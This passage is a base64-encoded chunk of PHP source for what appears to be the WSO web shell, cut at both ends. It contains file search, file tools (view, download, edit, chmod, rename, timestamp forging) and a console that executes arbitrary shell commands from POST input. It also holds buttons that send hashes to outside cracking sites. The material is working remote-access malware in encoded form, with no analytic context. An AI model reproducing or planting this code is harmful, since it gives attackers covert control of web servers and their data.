cmUgY2xhc3M9J21sMScgc3R5bGU9JyIuKGVtcHR5KCRfUE9TVFsncDEnXSk/J2Rpc3BsYXk6bm9u
ZTsnOicnKS4ibWFyZ2luLXRvcDo1cHgnIGlkPSdzdHJPdXRwdXQnPiI7DQoJaWYoIWVtcHR5KCRf
UE9TVFsncDEnXSkpIHsNCgkJaWYoaW5fYXJyYXkoJF9QT1NUWydwMSddLCAkc3RyaW5nVG9vbHMp
KWVjaG8gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10oJF9QT1NUWydwMiddKSk7DQoJfQ0K
CWVjaG8iPC9wcmU+PC9kaXY+PGJyPjxoMT5TZWFyY2ggZmlsZXM6PC9oMT48ZGl2IGNsYXNzPWNv
bnRlbnQ+DQoJCTxmb3JtIG9uc3VibWl0PVwiZyhudWxsLHRoaXMuY3dkLnZhbHVlLG51bGwsdGhp
cy50ZXh0LnZhbHVlLHRoaXMuZmlsZW5hbWUudmFsdWUpO3JldHVybiBmYWxzZTtcIj48dGFibGUg
Y2VsbHBhZGRpbmc9JzEnIGNlbGxzcGFjaW5nPScwJyB3aWR0aD0nNTAlJz4NCgkJCTx0cj48dGQg
d2lkdGg9JzElJz5UZXh0OjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd0ZXh0JyBz
dHlsZT0nd2lkdGg6MTAwJSc+PC90ZD48L3RyPg0KCQkJPHRyPjx0ZD5QYXRoOjwvdGQ+PHRkPjxp
bnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdjd2QnIHZhbHVlPSciLiBodG1sc3BlY2lhbGNoYXJzKCRH
TE9CQUxTWydjd2QnXSkgLiInIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+DQoJCQk8dHI+
PHRkPk5hbWU6PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2ZpbGVuYW1lJyB2YWx1
ZT0nKicgc3R5bGU9J3dpZHRoOjEwMCUnPjwvdGQ+PC90cj4NCgkJCTx0cj48dGQ+PC90ZD48dGQ+
PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jz48L3RkPjwvdHI+DQoJCQk8L3RhYmxlPjwv
Zm9ybT4iOw0KDQoJZnVuY3Rpb24gd3NvUmVjdXJzaXZlR2xvYigkcGF0aCkgew0KCQlpZihzdWJz
dHIoJHBhdGgsIC0xKSAhPSAnLycpDQoJCQkkcGF0aC49Jy8nOw0KCQkkcGF0aHMgPSBAYXJyYXlf
dW5pcXVlKEBhcnJheV9tZXJnZShAZ2xvYigkcGF0aC4kX1BPU1RbJ3AzJ10pLCBAZ2xvYigkcGF0
aC4nKicsIEdMT0JfT05MWURJUikpKTsNCgkJaWYoaXNfYXJyYXkoJHBhdGhzKSYmQGNvdW50KCRw
YXRocykpIHsNCgkJCWZvcmVhY2goJHBhdGhzIGFzICRpdGVtKSB7DQoJCQkJaWYoQGlzX2Rpcigk
aXRlbSkpew0KCQkJCQlpZigkcGF0aCE9JGl0ZW0pDQoJCQkJCQl3c29SZWN1cnNpdmVHbG9iKCRp
dGVtKTsNCgkJCQl9IGVsc2Ugew0KCQkJCQlpZihlbXB0eSgkX1BPU1RbJ3AyJ10pIHx8IEBzdHJw
b3MoZmlsZV9nZXRfY29udGVudHMoJGl0ZW0pLCAkX1BPU1RbJ3AyJ10pIT09ZmFsc2UpDQoJCQkJ
CQllY2hvICI8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLG51bGwsXCIiLnVy
bGVuY29kZSgkaXRlbSkuIlwiLCBcInZpZXdcIixcIlwiKSc+Ii5odG1sc3BlY2lhbGNoYXJzKCRp
dGVtKS4iPC9hPjxicj4iOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCX0NCglpZihAJF9QT1NUWydwMydd
KQ0KCQl3c29SZWN1cnNpdmVHbG9iKCRfUE9TVFsnYyddKTsNCgllY2hvICI8L2Rpdj48YnI+PGgx
PlNlYXJjaCBmb3IgaGFzaDo8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4NCgkJPGZvcm0gbWV0aG9k
PSdwb3N0JyB0YXJnZXQ9J19ibGFuaycgbmFtZT0naGYnPg0KCQkJPGlucHV0IHR5cGU9J3RleHQn
IG5hbWU9J2hhc2gnIHN0eWxlPSd3aWR0aDoyMDBweDsnPjxicj4NCiAgICAgICAgICAgIDxpbnB1
dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2FjdCcgdmFsdWU9J2ZpbmQnLz4NCgkJCTxpbnB1dCB0eXBl
PSdidXR0b24nIHZhbHVlPSdoYXNoY3JhY2tpbmcucnUnIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5h
Y3Rpb249J2h0dHBzOi8vaGFzaGNyYWNraW5nLnJ1L2luZGV4LnBocCc7ZG9jdW1lbnQuaGYuc3Vi
bWl0KClcIj48YnI+DQoJCQk8aW5wdXQgdHlwZT0nYnV0dG9uJyB2YWx1ZT0nbWQ1LnJlZG5vaXpl
LmNvbScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cDovL21kNS5yZWRub2l6ZS5j
b20vP3E9Jytkb2N1bWVudC5oZi5oYXNoLnZhbHVlKycmcz1tZDUnO2RvY3VtZW50LmhmLnN1Ym1p
dCgpXCI+PGJyPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J2NyYWNr
Zm9yLm1lJyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwOi8vY3JhY2tmb3IubWUv
aW5kZXgucGhwJztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4NCgkJPC9mb3JtPjwvZGl2PiI7
DQoJd3NvRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvbkZpbGVzVG9vbHMoKSB7DQoJaWYo
IGlzc2V0KCRfUE9TVFsncDEnXSkgKQ0KCQkkX1BPU1RbJ3AxJ10gPSB1cmxkZWNvZGUoJF9QT1NU
WydwMSddKTsNCglpZihAJF9QT1NUWydwMiddPT0nZG93bmxvYWQnKSB7DQoJCWlmKEBpc19maWxl
KCRfUE9TVFsncDEnXSkgJiYgQGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkpIHsNCgkJCW9iX3N0
YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsNCgkJCWhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlv
bjogYXR0YWNobWVudDsgZmlsZW5hbWU9Ii5iYXNlbmFtZSgkX1BPU1RbJ3AxJ10pKTsNCgkJCWlm
IChmdW5jdGlvbl9leGlzdHMoIm1pbWVfY29udGVudF90eXBlIikpIHsNCgkJCQkkdHlwZSA9IEBt
aW1lX2NvbnRlbnRfdHlwZSgkX1BPU1RbJ3AxJ10pOw0KCQkJCWhlYWRlcigiQ29udGVudC1UeXBl
OiAiIC4gJHR5cGUpOw0KCQkJfSBlbHNlDQogICAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50
LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOw0KCQkJJGZwID0gQGZvcGVuKCRfUE9T
VFsncDEnXSwgInIiKTsNCgkJCWlmKCRmcCkgew0KCQkJCXdoaWxlKCFAZmVvZigkZnApKQ0KCQkJ
CQllY2hvIEBmcmVhZCgkZnAsIDEwMjQpOw0KCQkJCWZjbG9zZSgkZnApOw0KCQkJfQ0KCQl9ZXhp
dDsNCgl9DQoJaWYoIEAkX1BPU1RbJ3AyJ10gPT0gJ21rZmlsZScgKSB7DQoJCWlmKCFmaWxlX2V4
aXN0cygkX1BPU1RbJ3AxJ10pKSB7DQoJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAndycp
Ow0KCQkJaWYoJGZwKSB7DQoJCQkJJF9QT1NUWydwMiddID0gImVkaXQiOw0KCQkJCWZjbG9zZSgk
ZnApOw0KCQkJfQ0KCQl9DQoJfQ0KCXdzb0hlYWRlcigpOw0KCWVjaG8gJzxoMT5GaWxlIHRvb2xz
PC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsNCglpZiggIWZpbGVfZXhpc3RzKEAkX1BPU1RbJ3Ax
J10pICkgew0KCQllY2hvICdGaWxlIG5vdCBleGlzdHMnOw0KCQl3c29Gb290ZXIoKTsNCgkJcmV0
dXJuOw0KCX0NCgkkdWlkID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJF9QT1NUWydwMSdd
KSk7DQoJaWYoISR1aWQpIHsNCgkJJHVpZFsnbmFtZSddID0gQGZpbGVvd25lcigkX1BPU1RbJ3Ax
J10pOw0KCQkkZ2lkWyduYW1lJ10gPSBAZmlsZWdyb3VwKCRfUE9TVFsncDEnXSk7DQoJfSBlbHNl
ICRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkX1BPU1RbJ3AxJ10pKTsNCgllY2hv
ICc8c3Bhbj5OYW1lOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKEBiYXNlbmFtZSgkX1BPU1Rb
J3AxJ10pKS4nIDxzcGFuPlNpemU6PC9zcGFuPiAnLihpc19maWxlKCRfUE9TVFsncDEnXSk/d3Nv
Vmlld1NpemUoZmlsZXNpemUoJF9QT1NUWydwMSddKSk6Jy0nKS4nIDxzcGFuPlBlcm1pc3Npb246
PC9zcGFuPiAnLndzb1Blcm1zQ29sb3IoJF9QT1NUWydwMSddKS4nIDxzcGFuPk93bmVyL0dyb3Vw
Ojwvc3Bhbj4gJy4kdWlkWyduYW1lJ10uJy8nLiRnaWRbJ25hbWUnXS4nPGJyPic7DQoJZWNobyAn
PHNwYW4+Q3JlYXRlIHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlY3RpbWUo
JF9QT1NUWydwMSddKSkuJyA8c3Bhbj5BY2Nlc3MgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQg
SDppOnMnLGZpbGVhdGltZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPk1vZGlmeSB0aW1lOjwvc3Bh
bj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRfUE9TVFsncDEnXSkpLic8YnI+PGJy
Pic7DQoJaWYoIGVtcHR5KCRfUE9TVFsncDInXSkgKQ0KCQkkX1BPU1RbJ3AyJ10gPSAndmlldyc7
DQoJaWYoIGlzX2ZpbGUoJF9QT1NUWydwMSddKSApDQoJCSRtID0gYXJyYXkoJ1ZpZXcnLCAnSGln
aGxpZ2h0JywgJ0Rvd25sb2FkJywgJ0hleGR1bXAnLCAnRWRpdCcsICdDaG1vZCcsICdSZW5hbWUn
LCAnVG91Y2gnKTsNCgllbHNlDQoJCSRtID0gYXJyYXkoJ0NobW9kJywgJ1JlbmFtZScsICdUb3Vj
aCcpOw0KCWZvcmVhY2goJG0gYXMgJHYpDQoJCWVjaG8gJzxhIGhyZWY9IyBvbmNsaWNrPSJnKG51
bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAuICdcJyxcJycuc3RydG9sb3dl
cigkdikuJ1wnKSI+Jy4oKHN0cnRvbG93ZXIoJHYpPT1AJF9QT1NUWydwMiddKT8nPGI+WyAnLiR2
LicgXTwvYj4nOiR2KS4nPC9hPiAnOw0KCWVjaG8gJzxicj48YnI+JzsNCglzd2l0Y2goJF9QT1NU
WydwMiddKSB7DQoJCWNhc2UgJ3ZpZXcnOg0KCQkJZWNobyAnPHByZSBjbGFzcz1tbDE+JzsNCgkJ
CSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7DQoJCQlpZigkZnApIHsNCgkJCQl3aGls
ZSggIUBmZW9mKCRmcCkgKQ0KCQkJCQllY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwg
MTAyNCkpOw0KCQkJCUBmY2xvc2UoJGZwKTsNCgkJCX0NCgkJCWVjaG8gJzwvcHJlPic7DQoJCQli
cmVhazsNCgkJY2FzZSAnaGlnaGxpZ2h0JzoNCgkJCWlmKCBAaXNfcmVhZGFibGUoJF9QT1NUWydw
MSddKSApIHsNCgkJCQllY2hvICc8ZGl2IGNsYXNzPW1sMSBzdHlsZT0iYmFja2dyb3VuZC1jb2xv
cjogI2UxZTFlMTtjb2xvcjpibGFjazsiPic7DQoJCQkJJGNvZGUgPSBAaGlnaGxpZ2h0X2ZpbGUo
JF9QT1NUWydwMSddLHRydWUpOw0KCQkJCWVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoJzxzcGFuICcs
Jzwvc3Bhbj4nKSwgYXJyYXkoJzxmb250ICcsJzwvZm9udD4nKSwkY29kZSkuJzwvZGl2Pic7DQoJ
CQl9DQoJCQlicmVhazsNCgkJY2FzZSAnY2htb2QnOg0KCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3Az
J10pICkgew0KCQkJCSRwZXJtcyA9IDA7DQoJCQkJZm9yKCRpPXN0cmxlbigkX1BPU1RbJ3AzJ10p
LTE7JGk+PTA7LS0kaSkNCgkJCQkJJHBlcm1zICs9IChpbnQpJF9QT1NUWydwMyddWyRpXSpwb3co
OCwgKHN0cmxlbigkX1BPU1RbJ3AzJ10pLSRpLTEpKTsNCgkJCQlpZighQGNobW9kKCRfUE9TVFsn
cDEnXSwgJHBlcm1zKSkNCgkJCQkJZWNobyAnQ2FuXCd0IHNldCBwZXJtaXNzaW9ucyE8YnI+PHNj
cmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOw0KCQkJfQ0KCQkJY2xlYXJz
dGF0Y2FjaGUoKTsNCgkJCWVjaG8gJzxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pjxmb3JtIG9uc3Vi
bWl0PSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAuICdcJyxudWxs
LHRoaXMuY2htb2QudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1j
aG1vZCB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJF9QT1NUWydwMSdd
KSksLTQpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOw0KCQkJYnJl
YWs7DQoJCWNhc2UgJ2VkaXQnOg0KCQkJaWYoICFpc193cml0YWJsZSgkX1BPU1RbJ3AxJ10pKSB7
DQoJCQkJZWNobyAnRmlsZSBpc25cJ3Qgd3JpdGVhYmxlJzsNCgkJCQlicmVhazsNCgkJCX0NCgkJ
CWlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsNCgkJCQkkdGltZSA9IEBmaWxlbXRpbWUoJF9Q
T1NUWydwMSddKTsNCgkJCQkkX1BPU1RbJ3AzJ10gPSBzdWJzdHIoJF9QT1NUWydwMyddLDEpOw0K
CQkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sInciKTsNCgkJCQlpZigkZnApIHsNCgkJCQkJ
QGZ3cml0ZSgkZnAsJF9QT1NUWydwMyddKTsNCgkJCQkJQGZjbG9zZSgkZnApOw0KCQkJCQllY2hv
ICdTYXZlZCE8YnI+PHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+JzsNCgkJCQkJQHRvdWNoKCRfUE9T
VFsncDEnXSwkdGltZSwkdGltZSk7DQoJCQkJfQ0KCQkJfQ0KCQkJZWNobyAnPGZvcm0gb25zdWJt
aXQ9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wnLG51bGws
XCcxXCcrdGhpcy50ZXh0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT10ZXh0
IGNsYXNzPWJpZ2FyZWE+JzsNCgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7DQoJ
CQlpZigkZnApIHsNCgkJCQl3aGlsZSggIUBmZW9mKCRmcCkgKQ0KCQkJCQllY2hvIGh0bWxzcGVj
aWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOw0KCQkJCUBmY2xvc2UoJGZwKTsNCgkJCX0NCgkJ
CWVjaG8gJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7
DQoJCQlicmVhazsNCgkJY2FzZSAnaGV4ZHVtcCc6DQoJCQkkYyA9IEBmaWxlX2dldF9jb250ZW50
cygkX1BPU1RbJ3AxJ10pOw0KCQkJJG4gPSAwOw0KCQkJJGggPSBhcnJheSgnMDAwMDAwMDA8YnI+
JywnJywnJyk7DQoJCQkkbGVuID0gc3RybGVuKCRjKTsNCgkJCWZvciAoJGk9MDsgJGk8JGxlbjsg
KyskaSkgew0KCQkJCSRoWzFdIC49IHNwcmludGYoJyUwMlgnLG9yZCgkY1skaV0pKS4nICc7DQoJ
CQkJc3dpdGNoICggb3JkKCRjWyRpXSkgKSB7DQoJCQkJCWNhc2UgMDogICRoWzJdIC49ICcgJzsg
YnJlYWs7DQoJCQkJCWNhc2UgOTogICRoWzJdIC49ICcgJzsgYnJlYWs7DQoJCQkJCWNhc2UgMTA6
ICRoWzJdIC49ICcgJzsgYnJlYWs7DQoJCQkJCWNhc2UgMTM6ICRoWzJdIC49ICcgJzsgYnJlYWs7
DQoJCQkJCWRlZmF1bHQ6ICRoWzJdIC49ICRjWyRpXTsgYnJlYWs7DQoJCQkJfQ0KCQkJCSRuKys7
DQoJCQkJaWYgKCRuID09IDMyKSB7DQoJCQkJCSRuID0gMDsNCgkJCQkJaWYgKCRpKzEgPCAkbGVu
KSB7JGhbMF0gLj0gc3ByaW50ZignJTA4WCcsJGkrMSkuJzxicj4nO30NCgkJCQkJJGhbMV0gLj0g
Jzxicj4nOw0KCQkJCQkkaFsyXSAuPSAiXG4iOw0KCQkJCX0NCgkJIAl9DQoJCQllY2hvICc8dGFi
bGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01IGJnY29sb3I9IzIyMjIyMj48dHI+PHRkIGJn
Y29sb3I9IzMzMzMzMz48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6IG5vcm1hbDsiPjxwcmU+Jy4k
aFswXS4nPC9wcmU+PC9zcGFuPjwvdGQ+PHRkIGJnY29sb3I9IzI4MjgyOD48cHJlPicuJGhbMV0u
JzwvcHJlPjwvdGQ+PHRkIGJnY29sb3I9IzMzMzMzMz48cHJlPicuaHRtbHNwZWNpYWxjaGFycygk
aFsyXSkuJzwvcHJlPjwvdGQ+PC90cj48L3RhYmxlPic7DQoJCQlicmVhazsNCgkJY2FzZSAncmVu
YW1lJzoNCgkJCWlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsNCgkJCQlpZighQHJlbmFtZSgk
X1BPU1RbJ3AxJ10sICRfUE9TVFsncDMnXSkpDQoJCQkJCWVjaG8gJ0NhblwndCByZW5hbWUhPGJy
Pic7DQoJCQkJZWxzZQ0KCQkJCQlkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsIicudXJsZW5jb2Rl
KCRfUE9TVFsncDMnXSkuJyIsbnVsbCwiIik8L3NjcmlwdD4nKTsNCgkJCX0NCgkJCWVjaG8gJzxm
b3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAu
ICdcJyxudWxsLHRoaXMubmFtZS52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4
dCBuYW1lPW5hbWUgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pLiciPjxp
bnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOw0KCQkJYnJlYWs7DQoJCWNhc2Ug
J3RvdWNoJzoNCgkJCWlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsNCgkJCQkkdGltZSA9IHN0
cnRvdGltZSgkX1BPU1RbJ3AzJ10pOw0KCQkJCWlmKCR0aW1lKSB7DQoJCQkJCWlmKCF0b3VjaCgk
X1BPU1RbJ3AxJ10sJHRpbWUsJHRpbWUpKQ0KCQkJCQkJZWNobyAnRmFpbCEnOw0KCQkJCQllbHNl
DQoJCQkJCQllY2hvICdUb3VjaGVkISc7DQoJCQkJfSBlbHNlIGVjaG8gJ0JhZCB0aW1lIGZvcm1h
dCEnOw0KCQkJfQ0KCQkJY2xlYXJzdGF0Y2FjaGUoKTsNCgkJCWVjaG8gJzxzY3JpcHQ+cDNfPSIi
Ozwvc2NyaXB0Pjxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9Q
T1NUWydwMSddKSAuICdcJyxudWxsLHRoaXMudG91Y2gudmFsdWUpO3JldHVybiBmYWxzZTsiPjxp
bnB1dCB0eXBlPXRleHQgbmFtZT10b3VjaCB2YWx1ZT0iJy5kYXRlKCJZLW0tZCBIOmk6cyIsIEBm
aWxlbXRpbWUoJF9QT1NUWydwMSddKSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+
PC9mb3JtPic7DQoJCQlicmVhazsNCgl9DQoJZWNobyAnPC9kaXY+JzsNCgl3c29Gb290ZXIoKTsN
Cn0NCg0KZnVuY3Rpb24gYWN0aW9uQ29uc29sZSgpIHsNCiAgICBpZighZW1wdHkoJF9QT1NUWydw
MSddKSAmJiAhZW1wdHkoJF9QT1NUWydwMiddKSkgew0KICAgICAgICBXU09zZXRjb29raWUobWQ1
KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnLCB0cnVlKTsNCiAgICAgICAg
JF9QT1NUWydwMSddIC49ICcgMj4mMSc7DQogICAgfSBlbHNlaWYoIWVtcHR5KCRfUE9TVFsncDEn
XSkpDQogICAgICAgIFdTT3NldGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3Rk
ZXJyX3RvX291dCcsIDApOw0KDQoJaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7DQoJCVdTT3Nl
dGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCcsIHRydWUpOw0KCQlvYl9z
dGFydCgpOw0KCQllY2hvICJkLmNmLmNtZC52YWx1ZT0nJztcbiI7DQoJCSR0ZW1wID0gQGljb252
KCRfUE9TVFsnY2hhcnNldCddLCAnVVRGLTgnLCBhZGRjc2xhc2hlcygiXG4kICIuJF9QT1NUWydw
MSddLiJcbiIud3NvRXgoJF9QT1NUWydwMSddKSwiXG5cclx0XFwnXDAiKSk7DQoJCWlmKHByZWdf
bWF0Y2goIiEuKmNkXHMrKFteO10rKSQhIiwkX1BPU1RbJ3AxJ10sJG1hdGNoKSkJew0KCQkJaWYo
QGNoZGlyKCRtYXRjaFsxXSkpIHsNCgkJCQkkR0xPQkFMU1snY3dkJ10gPSBAZ2V0Y3dkKCk7DQoJ
CQkJZWNobyAiY189JyIuJEdMT0JBTFNbJ2N3ZCddLiInOyI7DQoJCQl9DQoJCX0NCgkJZWNobyAi
ZC5jZi5vdXRwdXQudmFsdWUrPSciLiR0ZW1wLiInOyI7DQoJCWVjaG8gImQuY2Yub3V0cHV0LnNj
cm9sbFRvcCA9IGQuY2Yub3V0cHV0LnNjcm9sbEhlaWdodDsiOw0KCQkkdGVtcCA9IG9iX2dldF9j
bGVhbigpOw0KCQllY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOw0KCQlleGl0Ow0KCX0N
CiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQ0KCQlX
U09zZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnLCAwKTsNCgl3c29I
ZWFkZXIoKTsNCiAgICBlY2hvICI8c2NyaXB0Pg0KaWYod2luZG93LkV2ZW50KSB3aW5kb3cuY2Fw
dHVyZUV2ZW50cyhFdmVudC5LRVlET1dOKTsNCnZhciBjbWRzID0gbmV3IEFycmF5KCcnKTsNCnZh
ciBjdXIgPSAwOw0KZnVuY3Rpb24ga3AoZSkgew0KCXZhciBuID0gKHdpbmRvdy5FdmVudCkgPyBl
LndoaWNoIDogZS5rZXlDb2RlOw0KCWlmKG4gPT0gMzgpIHsNCgkJY3VyLS07DQoJCWlmKGN1cj49
MCkNCgkJCWRvY3VtZW50LmNmLmNtZC52YWx1ZSA9IGNtZHNbY3VyXTsNCgkJZWxzZQ0KCQkJY3Vy
Kys7DQoJfSBlbHNlIGlmKG4gPT0gNDApIHsNCgkJY3VyKys7DQoJCWlmKGN1ciA8IGNtZHMubGVu
Z3RoKQ0KCQkJZG9jdW1lbnQuY2YuY21kLnZhbHVlID0gY21kc1tjdXJdOw0KCQllbHNlDQoJCQlj
dXItLTsNCgl9DQp9DQpmdW5jdGlvbiBhZGQoY21kKSB7DQoJY21kcy5wb3AoKTsNCgljbWRzLnB1
c2goY21kKTsNCgljbWRzLnB1c2goJycpOw0KCWN1ciA9IGNtZHMubGVuZ3RoLTE7DQp9DQo8L3Nj
cmlwdD4iOw0KCWVjaG8gJzxoMT5Db25zb2xlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PGZvcm0g
bmFtZT1jZiBvbnN1Ym1pdD0iaWYoZC5jZi5jbWQudmFsdWU9PVwnY2xlYXJcJyl7ZC5jZi5vdXRw
dXQudmFsdWU9XCdcJztkLmNmLmNtZC52YWx1ZT1cJ1wnO3JldHVybiBmYWxzZTt9YWRkKHRoaXMu
Y21kLnZhbHVlKTtpZih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5jbWQudmFs
dWUsdGhpcy5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fWVsc2V7ZyhudWxsLG51bGwsdGhp
cy5jbWQudmFsdWUsdGhpcy5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fSByZXR1cm4gZmFs
c2U7Ij48c2VsZWN0IG5hbWU9YWxpYXM+JzsNCglmb3JlYWNoKCRHTE9CQUxTWydhbGlhc2VzJ10g
YXMgJG4gPT4gJHYpIHsNCgkJaWYoJHYgPT0gJycpIHsNCgkJCWVjaG8gJzxvcHRncm91cCBsYWJl
bD0iLScuaHRtbHNwZWNpYWxjaGFycygkbikuJy0iPjwvb3B0Z3JvdXA+JzsNCgkJCWNvbnRpbnVl
Ow0KCQl9DQoJCWVjaG8gJzxvcHRpb24gdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkdikuJyI+
Jy4kbi4nPC9vcHRpb24+JzsNCgl9DQoJDQoJZWNobyAnPC9zZWxlY3Q+PGlucHV0IHR5cGU9YnV0
dG9uIG9uY2xpY2s9ImFkZChkLmNmLmFsaWFzLnZhbHVlKTtpZihkLmNmLmFqYXguY2hlY2tlZCl7
YShudWxsLG51bGwsZC5jZi5hbGlhcy52YWx1ZSxkLmNmLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpc
J1wnKTt9ZWxzZXtnKG51bGwsbnVsbCxkLmNmLmFsaWFzLnZhbHVlLGQuY2Yuc2hvd19lcnJvcnMu
Y2hlY2tlZD8xOlwnXCcpO30iIHZhbHVlPSI+PiI+IDxub2JyPjxpbnB1dCB0eXBlPWNoZWNrYm94
IG5hbWU9YWpheCB2YWx1ZT0xICcuKEAkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCdd
KS4nYWpheCddPydjaGVja2VkJzonJykuJz4gc2VuZCB1c2luZyBBSkFYIDxpbnB1dCB0eXBlPWNo
ZWNrYm94IG5hbWU9c2hvd19lcnJvcnMgdmFsdWU9MSAnLighZW1wdHkoJF9QT1NUWydwMiddKXx8
JF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnXT8nY2hl
Y2tlZCc6JycpLic+IHJlZGlyZWN0IHN0ZGVyciB0byBzdGRvdXQgKDI+JjEpPC9ub2JyPjxici8+
PHRleHRhcmVhIGNsYXNzPWJpZ2FyZWEgbmFtZT1vdXRwdXQgc3R5bGU9ImJvcmRlci1ib3R0b206
MDttYXJnaW46MDsiIHJlYWRvbmx5Pic7DQoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJ
ZWNobyBodG1sc3BlY2lhbGNoYXJzKCIkICIuJF9QT1NUWydwMSddLiJcbiIud3NvRXgoJF9QT1NU
WydwMSddKSk7DQoJfQ0KCWVjaG8gJzwvdGV4dGFyZWE+PHRhYmxlIHN0eWxlPSJib3JkZXI6MXB4
IHNvbGlkICNkZjU7YmFja2dyb3VuZC1jb2xvcjojNTU1O2JvcmRlci10b3A6MHB4OyIgY2VsbHBh
ZGRpbmc9MCBjZWxsc3BhY2luZz0wIHdpZHRoPSIxMDAlIj48dHI+PHRkIHdpZHRoPSIxJSI+JDwv
dGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jbWQgc3R5bGU9ImJvcmRlcjowcHg7d2lkdGg6
MTAwJTsiIG9ua2V5ZG93bj0ia3AoZXZlbnQpOyI+PC90ZD48L3RyPjwvdGFibGU+JzsNCgllY2hv
